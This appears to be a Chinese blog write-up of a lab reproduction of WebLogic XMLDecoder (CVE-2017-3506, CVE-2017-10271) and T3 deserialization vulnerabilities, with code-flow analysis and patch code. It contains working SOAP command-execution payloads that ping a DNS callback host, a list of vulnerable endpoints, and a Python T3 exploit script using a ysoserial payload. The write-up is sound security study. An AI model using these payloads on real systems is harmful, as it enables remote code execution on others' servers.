声明
感谢奇安信 CERT提出《WebLogic安全研究报告》一文和其中提出的搭建WebLogic环境的工具。本文为学习和复现此文章后进行的总结与反思,并做了相应的补充。
注:文中引用部分均已标注
Oracle WebLogic Server 是一个统一的可扩展平台,专用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。它提供了一种强健、成熟和可扩展的 Java Enterprise Edition (EE) 和 Jakarta EE 实施方式。
1.什么是web中间件
web中间件是服务器上web端口的翻译官。用户发送http请求到80端口。中间件负责解析请求,告诉服务器用户要请求哪些文件,并根据文件类型调用相应的脚本语言进行解析。(接受处理http请求,返回html或json)
web中间件作用:路由、身份认证、日志、缓存
例子: Servlet、JSP、Spring MVC、weblogic
区分web中间件和web容器:
Web容器可以提供Web应用程序的运行环境,支持Servlet和JSP技术,处理HTTP请求和响应。tomcat
Web中间件可以提供系统软件和应用软件之间的连接和交互,支持各种协议和技术,实现数据处理、服务治理、负载均衡等功能。weblogic
Web容器有时也可以作为Web中间件的一部分,比如tomcat既可以作为Web容器也可以作为Web中间件。
2.weblogic环境搭建
根据https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ一文中提出的工具,成功搭建起来环境
记录一下踩到的坑:
因为CentOS不维护最新版本了,所以需要在Dockerfile修改一下
FROM centos
RUN cd /etc/yum.repos.d/
RUN sed -i 's/mirrorlist/#mirrorlist/g' /etc/yum.repos.d/CentOS-*
RUN sed -i 's|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g' /etc/yum.repos.d/CentOS-*
windows下的回车换行和linux不一样,还要改一下Dockerfile的这一部分
# 安装JDK
RUN sed -i 's/\r//' /scripts/jdk_install.sh
RUN /scripts/jdk_install.sh
# 安装weblogic
RUN sed -i 's/\r//' /scripts/weblogic_install.sh
RUN /scripts/weblogic_install.sh
# 创建Weblogic Domain
RUN sed -i 's/\r//' /scripts/create_domain.sh
RUN /scripts/create_domain.sh
# 打开Debug模式
RUN sed -i 's/\r//' /scripts/open_debug_mode.sh
RUN /scripts/open_debug_mode.sh
关于远程调试部分
将文章中提到的两个文件复制到一个新的文件夹中
docker cp 容器的ip:/u01/app/oracle/middleware/modules .
docker cp 容器的ip:/u01/app/oracle/middleware/wlserver/server/lib .
使用IDEA打开这个文件夹,然后把这两个添加到库
然后点右上角的Add Configuration...
添加一个远程调试的配置
出现如下字样即为成功
3.XMLDecoder反序列化漏洞
XMLDecder类似于fastjson,都是为了将jvm中的java对象持久化为文件
XMLDecoder使用的是SAX解析规范
图片来自:https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ
下面介绍一下SAX规范
SAX是简单XML访问接口,是一套XML解析规范,使用事件驱动的设计模式,那么事件驱动的设计模式自然就会有事件源和事件处理器以及相关的注册方法将事件源和事件处理器连接起来。
图片来自:https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ
这里通过JAXP的工厂方法生成SAX对象,SAX对象使用SAXParser.parer()
作为事件源,ContentHandler
、ErrorHandler
、DTDHandler
、EntityResolver
作为事件处理器,通过注册方法将二者连接起来。
漏洞复现(CVE-2017-3506)
访问http://localhost:7001/wls-wsat/CoordinatorPortType页面,使用bp抓包
更改请求类型为POST,Content-Type改为text/xml
在请求体内放入我们的POC
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping 999.merkwg.ceye.io</string>
</void>
</array>
<void method="start"/></object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
观察DNS平台,发现收到请求,攻击成功
这里给出其他能触发XMLDecoder反序列化漏洞的路径
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
XMLDecoder反序列化流程分析
进入XMLDecoder类的readObject方法后,先是调用了XMLDecoder类的parsingComplete方法
跟进parsingComplete方法,发现其调用了DocumentHandler类的parse方法
跟进此方法,看到他创建了一个SAXParser类的实例,调用了该实例的parse方法
进入SAXParserImpl类的parse方法
接着进入xmlReader的parse方法
之后进入其父类AbstractSAXParser的parse方法。然后依次进入XMLParser类的parse方法,XML11Configuration类的parse方法
跟进XMLDocumentFragmentScannerImpl类的scanDocument方法,然后进入XMLDocumentScannerImpl的next方法,在进入XMLDocumentFragmentScannerImpl$FragmentContentDriver的next方法
再进入XMLDocumentFragmentScannerImpl类的scanStartElement方法
最后到了DocumentHandler的endElement方法
因为StringElementHandler是没有endElement方法到,所以直接进入其父类ElementHandler类的endElement方法
在其中又调用了getValueObject方法
直接将我们传递的值赋给value,之后返回到ElementHandler类的endElement方法
然后添加参数,这样就将<string>calc</string>
这一行解析成功了
中间的先跳过,直接到解析<void class="java.lang.ProcessBuilder">
和<void method="start"/>
进入ObjectElementHandler 类的getValueObject方法
新建了一个Expression对象,调用它的getValue方法
Expression类是Java中的一个类,它代表一个可计算的表达式。这个类通常用于解析字符串并计算表达式的值。
进入Statement类的invoke方法
在这里通过反射的方式,调用了ProcessBuilder的start方法,完成解析
漏洞流程分析
lib\weblogic.jar!\weblogic\wsee\jaxws\workcontext\WorkContextServerTube.class在40行下断点
网页端访问 /wls-wsat/CoordinatorPortType
能看到我们传递进来的数据
public NextAction processRequest(Packet var1) {
this.isUseOldFormat = false;
if (var1.getMessage() != null) {
HeaderList var2 = var1.getMessage().getHeaders();
Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
if (var3 != null) {
this.readHeaderOld(var3);
this.isUseOldFormat = true;
}
继续跟readHeaderOld,进入WorkContextTube类
再跟进WorkContextXmlInputAdapter类,进入到他的构造方法中
public WorkContextXmlInputAdapter(InputStream var1) {
this.xmlDecoder = new XMLDecoder(var1);
}
此时的var1就是我们传入的payload
这样的话,一个XMLDecoder反序列化对象就构建完成了,但是这样还是不够的,需要找一个调用**readObject()**的地方,才能完成反序列化
我们回到WorkContextTube类,在构建完一个WorkContextXmlInputAdapter对象后,调用了receive方法
WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));
this.receive(var6);
跟进到WorkContextClientTube类的receive方法
protected void receive(WorkContextInput var1) throws IOException {
WorkContextMapInterceptor var2 = WorkContextHelper.getWorkContextHelper().getInterceptor();
var2.receiveResponse(var1);
}
后面不拿上来了,直接把调用链放到这里
最后进到WorkContextXmlInputAdapter类的readUTF()方法里面调用了readObject
漏洞修复
在后来的版本中对漏洞进行修复,但是只过滤了object
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}
绕过(CVE-2017-10271)
过滤了object标签,因为void和object的handler因为是父子类关系,所以把上面的object标签替换为void即可。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping 999.merkwg.ceye.io</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
再次修复
在后面的修复中采用黑白名单结合的方式进行修复,就很难攻击了
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
编写POC
POC详情参考我的github仓库https://github.com/feiweiliang/XMLDecoder_unser
4.T3反序列化漏洞
相似概念总结
JNDI
JNDI提供统一的客户端API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。
JNDI可以兼容和访问现有目录服务如:DNS、XNam、LDAP、CORBA对象服务、文件系统、RMI、DSML v1&v2、NIS等。
jdbc://<domain>:<port>
rmi://<domain>:<port>
ldap://<domain>:<port>
我们就把JNDI想象成接线员,给JNDI打电话,备注上rmi,他就把线接到RMI了
RMI
RMI(Remote Method Invocation)即远程方法调用。能够让在某个Java虚拟机上的对象像调用本地对象一样调用另一个Java虚拟机中的对象上的方法。它支持序列化的Java类的直接传输和分布垃圾收集。
Java RMI的默认基础通信协议为JRMP,但其也支持开发其他的协议用来优化RMI的传输,或者兼容非JVM,如WebLogic的T3和兼容CORBA的IIOP,其中T3协议为本文重点,后面会详细说。
图片来自:https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ
WebLogic RMI
WebLogic RMI和Java RMI的不同之处:
WebLogic RMI支持集群部署和负载均衡
WebLogic RMI的服务端会使用字节码生成(Hot Code Generation)功能生成代理对象
WebLogic RMI客户端使用动态代理
WebLogic RMI主要使用T3协议(还有基于CORBA的IIOP协议)进行客户端到服务端的数据传输
T3协议:
服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失
通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
图片来自:https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ
构建WebLogic RMI服务端和客户端
这里的代码都是来自大佬的文章(https://mp.weixin.qq.com/s/qxkV_7MZVhUYYq5QGcwCtQ)
//首先依然是创建服务端对象类,先创建一个接口继承java.rmi.Remote:
// IHello.java
package examples.rmi.hello;
import java.rmi.RemoteException;
public interface IHello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
//创建服务端对象类,实现这个接口:
// HelloImpl.java
public class HelloImpl implements IHello {
public String sayHello() {
return "Hello Remote World!!";
}
}
//创建服务端远程对象,此时已不需要Skeleton对象和UnicastRemoteObject对象:
// HelloImpl.java
package examples.rmi.hello;
import javax.naming.*;
import java.rmi.RemoteException;
public class HelloImpl implements IHello {
private String name;
public HelloImpl(String s) throws RemoteException {
super();
name = s;
}
public String sayHello() throws java.rmi.RemoteException {
return "Hello World!";
}
public static void main(String args[]) throws Exception {
try {
HelloImpl obj = new HelloImpl("HelloServer");
Context ctx = new InitialContext();
ctx.bind("HelloServer", obj);
System.out.println("HelloImpl created and bound in the registry " +
"to the name HelloServer");
} catch (Exception e) {
System.err.println("HelloImpl.main: an exception occurred:");
System.err.println(e.getMessage());
throw e;
}
}
}
//WebLogic RMI的服务端已经构建完成,客户端也不再需要Stub对象:
// HelloClient.java
package examples.rmi.hello;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class HelloClient {
// Defines the JNDI context factory.
public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
int port;
String host;
private static void usage() {
System.err.println("Usage: java examples.rmi.hello.HelloClient " +
"<hostname> <port number>");
}
public HelloClient() {
}
public static void main(String[] argv) throws Exception {
if (argv.length < 2) {
usage();
return;
}
String host = argv[0];
int port = 0;
try {
port = Integer.parseInt(argv[1]);
} catch (NumberFormatException nfe) {
usage();
throw nfe;
}
try {
InitialContext ic = getInitialContext("t3://" + host + ":" + port);
IHello obj = (IHello) ic.lookup("HelloServer");
System.out.println("Successfully connected to HelloServer on " +
host + " at port " +
port + ": " + obj.sayHello());
} catch (Exception ex) {
System.err.println("An exception occurred: " + ex.getMessage());
throw ex;
}
}
private static InitialContext getInitialContext(String url)
throws NamingException {
Hashtable<String, String> env = new Hashtable<String, String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}
项目中引入wlthint3client.jar
这个jar包供客户端调用时可以找到weblogic.jndi.WLInitialContextFactory
。
maven中生成jar包的配置
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>examples.rmi</groupId>
<artifactId>hello</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.6</source>
<target>1.6</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>examples.rmi.hello.HelloImpl</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
使用maven package
命令即可打包,在target目录下可以看到打好的包
构建成功后,将jar包复制到WebLogic Server域对应的lib/
文件夹中,
docker cp D:\Programs\JavaProjects\weblogic_T3\target\hello-1.0-SNAPSHOT.jar 870db625daa5:/u01/app/oracle/Domains/ExampleSilentWTDomain/lib
通过WebLogic Server 管理控制台中的启动类和关闭类部署到WebLogic Server中,新建启动类如下:
重启weblogic(也可以重启docker)后,通过 环境-服务器-AdminServer-查看 JNDI树看到HelloServer
已存在
客户端连接服务端
java -cp ".;wlthint3client.jar;hello-1.0-SNAPSHOT.jar" examples.rmi.hello.HelloClient 127.0.0.1 7001
漏洞原理
抓包来分析一下这个过程中发送的数据包
第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是调用RMI服务的数据包,我们来分析一下
我们发现了这个T3数据包的结构:
从一个T3协议头开始,后面跟上序列化对象,并在序列化对象前面加上fe010000
那我们就可以尝试使用恶意的序列化对象来替换其中一个序列化对象从而触发漏洞。(注意替换之后重新计算数据包长度)
先发送一个握手包
import socket
import sys
import struct # 负责大小端的转换
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 第一个和第二个参数,传入目标IP和端口
server_address = (sys.argv[1], int(sys.argv[2]))
print(f'connecting to {server_address[0]} port {server_address[1]}')
sock.connect(server_address)
# 发送握手包
handshake='t3 10.3.6\nAS:255\nHL:19\n\n'
print(f'sending "{handshake}"')
sock.sendall(handshake.encode())
data = sock.recv(1024)
print(f'received "{data.decode()}"')
connecting to 127.0.0.1 port 7001
sending "t3 10.3.6
AS:255
HL:19
"
received "HELO"
看到返回数据正常
#一定不要用PowerShell运行!!!
java -jar .\ysoserial-all.jar CommonsCollections1 "touch /hacked_by_tunan.txt" > payload.bin
生成恶意序列化对象,替换原来的序列化对象
# 第三个参数传入一个文件名,在本例中为刚刚生成的“payload.bin”
payloadObj = open(sys.argv[3],'rb').read()
# 复制自原数据包,T3协议头部分,00000611直到fe010000
t3_header=binascii.a2b_hex('000006110665000......537475627009fe010000')
# 要替换的Payload(替换一个序列化对象)
payload=t3_header+payloadObj
# 复制剩余数据包
payload=payload+binascii.a2b_hex('fe010000aced00057372001d77656......707702000078fe00ff')
# 重新计算数据包大小并替换原数据包中的前四个字节
payload = struct.pack('!i', len(payload)) + payload[4:]
sock.send(payload)
可以看到恶意文件已经被写入根目录下。